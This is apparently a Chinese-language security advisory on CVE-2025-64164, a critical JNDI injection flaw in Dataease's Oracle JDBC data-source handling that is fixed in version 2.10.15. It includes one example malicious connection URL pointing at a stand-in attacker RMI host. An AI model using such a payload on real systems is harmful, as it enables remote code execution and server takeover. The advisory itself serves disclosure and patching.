CVE-2025-64164CVE-2025-64164是Dataease开源数据可视化分析工具中的一个严重安全漏洞。该漏洞存在于Dataease 2.10.14及以下版本中,由于在建立JDBC(Java Database Connectivity)连接到Oracle数据库时未对连接参数进行充分的过滤和验证,导致应用程序存在JNDI(Java Naming and Directory Interface)注入风险。攻击者可以通过构造恶意的JDBC连接字符串,利用JNDI注入技术在受害者服务器上远程加载恶意类或执行任意代码,从而实现远程代码执行(RCE)。由于该漏洞的CVSS评分高达9.8分,且不需要任何认证或用户交互即可利用,因此被评定为严重(CRITICAL)级别。Dataease官方已在2.10.15版本中修复了此安全问题,建议所有使用受影响版本的用户立即升级。
该漏洞的核心问题在于Dataease在处理Oracle数据库JDBC连接时,对用户可控的连接参数缺乏安全过滤。JNDI是Java EE中用于命名和目录服务的API,攻击者可以通过JNDI引用(JNDI Reference)指向恶意的RMI或LDAP服务器,从而在受害者环境中加载远程类文件并执行任意代码。在Dataease中,当用户配置Oracle数据源时,应用程序会使用用户提供的连接参数构建JDBC连接字符串。如果攻击者能够在连接参数中注入JNDI协议前缀(如jndi:rmi://、jndi:ldap://),则可以诱导应用程序连接攻击者控制的恶意服务器。例如,攻击者可以将连接URL设置为jndi:rmi://attacker.com/Exploit,使Dataease尝试从该恶意RMI服务器获取对象引用。一旦成功,攻击者即可在Dataease运行环境中执行任意Java代码或系统命令,完全控制目标服务器。此漏洞类似于经典的JNDI注入(CVE-2021-44228 Log4Shell),但影响的是数据源连接功能。